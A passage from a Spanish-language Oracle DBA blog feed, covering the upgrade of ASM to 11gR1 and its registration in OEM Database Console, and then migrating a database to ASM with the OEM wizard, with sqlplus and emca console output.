&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzta_g2zgI/AAAAAAAAAdw/AC8Line1yhI/s1600-h/upgrade.asm.3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzta_g2zgI/AAAAAAAAAdw/AC8Line1yhI/s400/upgrade.asm.3.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8.&lt;/span&gt; Finalmente se nos presenta un resumen de lo actuado, con referencia a los logs generados, para su eventual inspección.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/SmztiFH6xnI/AAAAAAAAAd4/-yYz0grUFE0/s1600-h/upgrade.asm.4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/SmztiFH6xnI/AAAAAAAAAd4/-yYz0grUFE0/s400/upgrade.asm.4.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;9.&lt;/span&gt; Con &lt;i&gt;ASM&lt;/i&gt; ya actualizado podemos proceder a iniciar la instancia &lt;i&gt;ASM&lt;/i&gt; y las bases de datos asociadas.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;+ASM&lt;/span&gt;
The Oracle base for ORACLE_HOME=/u01/app/oracle/product/11.1.0/db_2 is /u01/app/oracle
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 11.1.0.7.0 - Production on Wed Feb 4 01:35:31 2009

Copyright (c) 1982, 2008, Oracle.  All rights reserved.

Connected to an idle instance.

SYS@+ASM&amp;gt; startup
ASM instance started

Total System Global Area  284565504 bytes
Fixed Size                  1312896 bytes
Variable Size             258086784 bytes
ASM Cache                  25165824 bytes
ASM diskgroups mounted&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ . oraenv
ORACLE_SID = [orcl] ? &lt;span style="color: red;"&gt;orcl&lt;/span&gt;
[oracle@urania ~]$ sqlplus / as sysdba

SQL*Plus: Release 10.2.0.1.0 - Production on Wed Feb 4 01:37:13 2009

Copyright (c) 1982, 2005, Oracle.  All rights reserved.

SYS@orcl&amp;gt; startup;
ORACLE instance started.

Total System Global Area  318046208 bytes
Fixed Size                  1313120 bytes
Variable Size             180356768 bytes
Database Buffers          130023424 bytes
Redo Buffers                6352896 bytes
Database mounted.
Database opened.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;¡Tarea concluída!&lt;/b&gt; Tenemos la base de datos &lt;i&gt;10gR2&lt;/i&gt; operando sobre una nueva instancia &lt;i&gt;ASM 11gR1&lt;/i&gt;, pero aún nos falta algo más: administrar la instancia &lt;i&gt;ASM&lt;/i&gt; desde OEM Database Console.&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;II. Registrando &lt;i&gt;ASM&lt;/i&gt; en &lt;i&gt;OEM Database Console&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Esta es la típica presentación de &lt;i&gt;Database Console&lt;/i&gt;, misma que nos permite administrar la base de datos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/SmzuSdm1RQI/AAAAAAAAAeA/LNKvEK0aaFU/s1600-h/oem.asm.11g.15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/SmzuSdm1RQI/AAAAAAAAAeA/LNKvEK0aaFU/s400/oem.asm.11g.15.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Para incluir la instancia &lt;i&gt;ASM&lt;/i&gt; debemos &lt;b&gt;reconfigurar&lt;/b&gt; &lt;i&gt;OEM&lt;/i&gt; siguiendo estos pasos:&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; Desconfiguramos OEM para que ya no tenga registrada a la base de datos.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ emca -deconfig dbcontrol db

STARTED EMCA at Feb 4, 2009 9:19:19 AM
EM Configuration Assistant, Version 11.1.0.7.0 Production
Copyright (c) 2003, 2005, Oracle.  All rights reserved.

Enter the following information:
Database SID: &lt;span style="color: red;"&gt;orcl&lt;/span&gt;

Do you wish to continue? [yes(Y)/no(N)]: &lt;span style="color: red;"&gt;Y&lt;/span&gt;
Feb 4, 2009 9:19:28 AM oracle.sysman.emcp.EMConfig perform
INFO: This operation is being logged at /u01/app/oracle/cfgtoollogs/emca/orcl/emca_2009_02_04_09_19_19.log.
Feb 4, 2009 9:19:30 AM oracle.sysman.emcp.util.DBControlUtil stopOMS
INFO: Stopping Database Control (this may take a while) ...
Enterprise Manager configuration completed successfully
FINISHED EMCA at Feb 4, 2009 9:20:34 AM&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Configuramos nuevamente &lt;i&gt;OEM&lt;/i&gt; y notaremos que en adición a los datos relativos a la instancia de la base de datos, ahora también nos solicitará información sobre la instancia &lt;i&gt;ASM&lt;/i&gt;&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[oracle@urania ~]$ emca -config dbcontrol db

STARTED EMCA at Feb 4, 2009 9:24:59 AM
EM Configuration Assistant, Version 11.1.0.7.0 Production
Copyright (c) 2003, 2005, Oracle.  All rights reserved.

Enter the following information:
Database SID: &lt;span style="color: red;"&gt;orcl&lt;/span&gt;
Listener port number: &lt;span style="color: red;"&gt;1521&lt;/span&gt;
Password for SYS user:
Password for DBSNMP user:
Password for SYSMAN user:
Password for SYSMAN user: 
Email address for notifications (optional):
Outgoing Mail (SMTP) server for notifications (optional):
ASM ORACLE_HOME [ /u01/app/oracle/product/11.1.0/db_2 ]:
ASM SID [ +ASM ]:
ASM port [ 1521 ]:
ASM user role [ SYSDBA ]:
ASM username [ SYS ]:
ASM user password:
-----------------------------------------------------------------

You have specified the following settings

Database ORACLE_HOME ................ /u01/app/oracle/product/11.1.0/db_2

Local hostname ................ urania.localdomain
Listener port number ................ 1521
Database SID ................ orcl
Email address for notifications ...............
Outgoing Mail (SMTP) server for notifications ...............
ASM ORACLE_HOME ................ /u01/app/oracle/product/11.1.0/db_2
ASM SID ................ +ASM
ASM port ................ 1521
ASM user role ................ SYSDBA
ASM username ................ SYS

-----------------------------------------------------------------
Do you wish to continue? [yes(Y)/no(N)]: &lt;span style="color: red;"&gt;Y&lt;/span&gt;
Feb 4, 2009 9:26:04 AM oracle.sysman.emcp.EMConfig perform
INFO: This operation is being logged at /u01/app/oracle/cfgtoollogs/emca/orcl/emca_2009_02_04_09_24_59.log.
Feb 4, 2009 9:26:13 AM oracle.sysman.emcp.EMReposConfig uploadConfigDataToRepository
INFO: Uploading configuration data to EM repository (this may take a while) ...
Feb 4, 2009 9:30:14 AM oracle.sysman.emcp.EMReposConfig invoke
INFO: Uploaded configuration data successfully
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.util.DBControlUtil configureSoftwareLib
INFO: Software library is already configured.
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.util.DBControlUtil configureSoftwareLib
INFO:  EM_SWLIB_STAGE_LOC (value) will be ignored.
Feb 4, 2009 9:30:20 AM oracle.sysman.emcp.EMDBPostConfig configureSoftwareLibrary
INFO: Deploying Provisioning archives ...
Feb 4, 2009 9:30:37 AM oracle.sysman.emcp.EMDBPostConfig configureSoftwareLibrary
INFO: Provisioning archives deployed successfully.
Feb 4, 2009 9:30:37 AM oracle.sysman.emcp.util.DBControlUtil secureDBConsole
INFO: Securing Database Control (this may take a while) ...
Feb 4, 2009 9:30:55 AM oracle.sysman.emcp.util.DBControlUtil secureDBConsole
INFO: Database Control secured successfully.
Feb 4, 2009 9:30:55 AM oracle.sysman.emcp.util.DBControlUtil startOMS
INFO: Starting Database Control (this may take a while) ...
Feb 4, 2009 9:32:19 AM oracle.sysman.emcp.EMDBPostConfig performConfiguration
INFO: Database Control started successfully
Feb 4, 2009 9:32:20 AM oracle.sysman.emcp.EMDBPostConfig performConfiguration
INFO: &gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; The Database Control URL is https://urania.localdomain:5500/em &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;
Feb 4, 2009 9:32:32 AM oracle.sysman.emcp.EMDBPostConfig invoke
WARNING:
************************  WARNING  ************************

Management Repository has been placed in secure mode wherein Enterprise Manager
data will be encrypted.  The encryption key has been placed in the file:
/u01/app/oracle/product/11.1.0/db_2/urania.localdomain_orcl/sysman/config/emkey.ora.
Please ensure this file is backed up as the encrypted data will become unusable
if this file is lost.

***********************************************************
Enterprise Manager configuration completed successfully
FINISHED EMCA at Feb 4, 2009 9:32:32 AM&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;Concluído esto ahora notaremos que finalmente se incluye el &lt;i&gt;link&lt;/i&gt; a la instancia &lt;i&gt;ASM&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/SmzuaDh9HBI/AAAAAAAAAeI/MbTB7JM8VIY/s1600-h/oem.asm.11g.16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/SmzuaDh9HBI/AAAAAAAAAeI/MbTB7JM8VIY/s400/oem.asm.11g.16.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Puerta de acceso a gran cantidad de información y opciones que nos permitirán administrar la instancia ASM con la misma simplicidad que OEM nos proporciona para la base de datos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzugFDIzoI/AAAAAAAAAeQ/iEwMKjOyZW0/s1600-h/oem.asm.11g.17.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzugFDIzoI/AAAAAAAAAeQ/iEwMKjOyZW0/s400/oem.asm.11g.17.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;En este punto, y luego de tratar el tema durante varios &lt;i&gt;Posts&lt;/i&gt; consecutivos, tenemos una base de datos que reside en &lt;i&gt;ASM&lt;/i&gt; al igual que su &lt;i&gt;Flash Recovery Area&lt;/i&gt;, siendo ambas instancias plenamente administrables desde &lt;i&gt;OEM Database Console&lt;/i&gt;. Llegamos pues al &lt;b&gt;final&lt;/b&gt; de esta serie que espero les haya sido de utilidad, o eventualmente lo sea, en cuanto den el paso de adoptar &lt;i&gt;ASM&lt;/i&gt; (lo cual ocurrirá tarde o temprano).&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, ¡bienvenido ASM!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Trasladando la Base de Datos hacia ASM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db-using-oem.html"&gt;Migrando la base de datos a ASM, la forma fácil&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-208189200796310522?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/tvm8XaX5FPk" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-02T11:18:21.415-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzsQgxB42I/AAAAAAAAAdY/g8w3lPTNMEA/s72-c/upgrade.asm.0.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html</feedburner:origLink></item><item><title>Migrando la base de datos a ASM, la forma fácil</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/Yvp13dQaKMk/asm-series-migrating-db-using-oem.html</link><category>ASM</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Sat, 28 Mar 2009 10:29:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-7594217945278639474</guid><description>&lt;div&gt;Hola amigos, antes de abordar el tema principal de este &lt;i&gt;Post&lt;/i&gt;, quería compartir con Uds. un acontecimiento &lt;b&gt;muy especial&lt;/b&gt;: hace unos pocos días recibí una comunicación de Lillian Buziak (Oracle), indicándome que luego de una evaluación habían decidido otorgarme el &lt;b&gt;&lt;i&gt;&lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:4:2929068833417754::NO:4:P4_ID:540"&gt;Oracle ACE Award&lt;/a&gt;&lt;/i&gt;&lt;/b&gt;, con lo que vengo a ser el &lt;b&gt;segundo peruano&lt;/b&gt; (junto a &lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:4:429150866479107::NO:4:P4_ID:46"&gt;Plinio Arbizu&lt;/a&gt;, &lt;i&gt;Oracle Ace Director&lt;/i&gt;) y sexto latinoamericano en recibir este reconocimiento que Oracle otorga en mérito a la participación activa en la comunidad Oracle. Si bien es un premio que me llena de alegría, también representa el compromiso de seguir colaborando en la difusión de conocimientos.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Teniendo en cuenta que hay 207 &lt;a href="http://apex.oracle.com/pls/otn/f?p=19297:3:3946486737157572"&gt;Oracle ACE&lt;/a&gt;, si Uds. conocen de alguien que merezca este reconocimiento, pueden nominarlo llenando un &lt;a href="http://www.oracle.com/technology/community/oracle_ace/nominations/index.html"&gt;formato&lt;/a&gt;, en nuestras manos está incrementar y premiar la participación de los profesionales de habla hispana!&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Ahora sí, continuando con la serie dedicada a &lt;b&gt;ASM&lt;/b&gt;, recordaremos que en el &lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Post anterior&lt;/a&gt; se realizó el traslado manual de la base de datos hacia ASM, ahora veremos cómo lograr el mismo propósito empleando &lt;b&gt;&lt;i&gt;Oracle Enterprise Manager Database Console&lt;/i&gt;&lt;/b&gt;, tarea que resulta sumamente sencilla gracias a que seremos guiado por un &lt;b&gt;&lt;i&gt;wizard&lt;/i&gt;&lt;/b&gt; muy bien elaborado y completo, que contempla todos los aspectos de la migración sin dejar nada de lado. Sin mayores preámbulos veamos el procedimiento a seguir:&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1.&lt;/span&gt; En la pestaña &lt;b&gt;&lt;i&gt;Server&lt;/i&gt;&lt;/b&gt; encontraremos la opción &lt;b&gt;&lt;i&gt;Migrate to ASM&lt;/i&gt;&lt;/b&gt;.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzvatIuGVI/AAAAAAAAAeY/hh5YhgP-SOQ/s1600-h/oem.asm.11g.01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzvatIuGVI/AAAAAAAAAeY/hh5YhgP-SOQ/s400/oem.asm.11g.01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2.&lt;/span&gt; Procedemos a completar la información requerida para identificar plenamente a la instancia ASM en la cual residirá la base de datos.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzvy1WuheI/AAAAAAAAAeg/I0c4o77tTU0/s1600-h/oem.asm.11g.02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzvy1WuheI/AAAAAAAAAeg/I0c4o77tTU0/s400/oem.asm.11g.02.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3.&lt;/span&gt; Para lograr el mismo objetivo que conseguimos con el procedimiento manual, seleccionamos como archivos a migrar tanto los archivos de la base de datos como los backups y archive logs, prestando especial atención a seleccionar una migracion &lt;b&gt;&lt;i&gt;online&lt;/b&gt;&lt;/i&gt;, a fin de minimizar la suspensión del servicio.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/Smzv6aH952I/AAAAAAAAAeo/kEE2ZGBHojA/s1600-h/oem.asm.11g.03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/Smzv6aH952I/AAAAAAAAAeo/kEE2ZGBHojA/s400/oem.asm.11g.03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4.&lt;/span&gt; Es hora de seleccionar los &lt;b&gt;&lt;i&gt;Disk Groups&lt;/i&gt;&lt;/b&gt; en los cuales residirán tanto la base de datos (DAT), como el &lt;i&gt;Flash Recovery Area&lt;/i&gt; (FRA), en este último caso seleccionamos la migración de todos los contenidos.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzwBjvSS0I/AAAAAAAAAew/TSPpPXNp0IA/s1600-h/oem.asm.11g.04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzwBjvSS0I/AAAAAAAAAew/TSPpPXNp0IA/s400/oem.asm.11g.04.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5.&lt;/span&gt; Y esto fue todo, ahora solo nos queda indicar cuándo queremos que se realice la migración, si de inmediato o en una fecha futura.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzwI-lsBUI/AAAAAAAAAe4/C2g8yvi7hJ8/s1600-h/oem.asm.11g.05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzwI-lsBUI/AAAAAAAAAe4/C2g8yvi7hJ8/s400/oem.asm.11g.05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6.&lt;/span&gt; Antes de registrar esta tarea en el Scheduler, le damos una revisada a lo que se estará ejecutando y cuando estemos seguros presionamos el botón &lt;b&gt;&amp;lt;Submit Job&amp;gt;&lt;/b&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzwSKmzQ6I/AAAAAAAAAfA/OwmyZJpsbWM/s1600-h/oem.asm.11g.06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzwSKmzQ6I/AAAAAAAAAfA/OwmyZJpsbWM/s400/oem.asm.11g.06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzwYccTv7I/AAAAAAAAAfI/acoqhJL1yD8/s1600-h/oem.asm.11g.07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzwYccTv7I/AAAAAAAAAfI/acoqhJL1yD8/s400/oem.asm.11g.07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7.&lt;/span&gt; Con la tarea ya en ejecución podemos ir revisando su avance, esto hasta que eventualmente se llegue a la parte en la cual se hace el &lt;b&gt;&lt;i&gt;switch&lt;/b&gt;&lt;/i&gt;, momento en el que la base de datos será detenida y por tanto se nos solicitará nuevamente las credenciales para restablecer la conexión con &lt;i&gt;Oracle Enterprise Manager Database Console&lt;/i&gt;.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzwoeLj-jI/AAAAAAAAAfY/gu_EFpm2Bi8/s1600-h/oem.asm.11g.08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzwoeLj-jI/AAAAAAAAAfY/gu_EFpm2Bi8/s400/oem.asm.11g.08.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzwwt7PZYI/AAAAAAAAAfg/8KBx8nRyKDY/s1600-h/oem.asm.11g.09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzwwt7PZYI/AAAAAAAAAfg/8KBx8nRyKDY/s400/oem.asm.11g.09.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzw494GU4I/AAAAAAAAAfo/Pd7mfdZ0vjs/s1600-h/oem.asm.11g.10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/Smzw494GU4I/AAAAAAAAAfo/Pd7mfdZ0vjs/s400/oem.asm.11g.10.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8.&lt;/span&gt; La migración ha concluido &lt;b&gt;satisfactoriamente&lt;/b&gt;, tal como podemos comprobar al inspeccionar que tanto los objetos de la &lt;b&gt;base de datos&lt;/b&gt; como los contenidos del &lt;b&gt;&lt;i&gt;flash recovery area&lt;/i&gt;&lt;/b&gt; residen ahora en la instancia &lt;b&gt;ASM&lt;/b&gt;, cada cual en sus respectivos &lt;i&gt;Disk Groups&lt;/i&gt;.&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/Smzw_xeThpI/AAAAAAAAAfw/LOQp8vYhoyM/s1600-h/oem.asm.11g.11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/Smzw_xeThpI/AAAAAAAAAfw/LOQp8vYhoyM/s400/oem.asm.11g.11.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzxGOMvXyI/AAAAAAAAAf4/LAQ3UMS4AEo/s1600-h/oem.asm.11g.12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzxGOMvXyI/AAAAAAAAAf4/LAQ3UMS4AEo/s400/oem.asm.11g.12.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzxMH_H1AI/AAAAAAAAAgA/F9DvNgP-D3U/s1600-h/oem.asm.11g.13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SmzxMH_H1AI/AAAAAAAAAgA/F9DvNgP-D3U/s400/oem.asm.11g.13.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzxR1apoeI/AAAAAAAAAgI/6qxmX3LKOWg/s1600-h/oem.asm.11g.14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SmzxR1apoeI/AAAAAAAAAgI/6qxmX3LKOWg/s400/oem.asm.11g.14.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;b&gt;¡Tarea concluída!&lt;/b&gt; Coincidirán en que usar &lt;i&gt;OEM Database Console&lt;/i&gt; para migrar la base de datos y el flash recovery area representa un esfuerzo mucho &lt;b&gt;menor&lt;/b&gt; que su contraparte manual, pero no está de más saber cómo hacerlo de ambas formas. En el siguiente &lt;i&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Post&lt;/a&gt;&lt;/i&gt; (el último de esta serie), les mostraré como registrar la instancia &lt;i&gt;ASM&lt;/i&gt; para que sea administrable desde &lt;i&gt;OEM Database Console&lt;/i&gt;, así como el procedimiento a seguir para realizar un &lt;i&gt;upgrade&lt;/i&gt; a &lt;i&gt;ASM&lt;/i&gt;, estén atentos...&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/02/asm-series-installation-asmlib.html"&gt;Bye bye raw device, ¡bienvenido ASM!&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/03/asm-series-migrating-db.html"&gt;Trasladando la Base de Datos hacia ASM&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/04/asm-series-upgrade-register-oem.html"&gt;Actualizando ASM y registrándolo en OEM&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
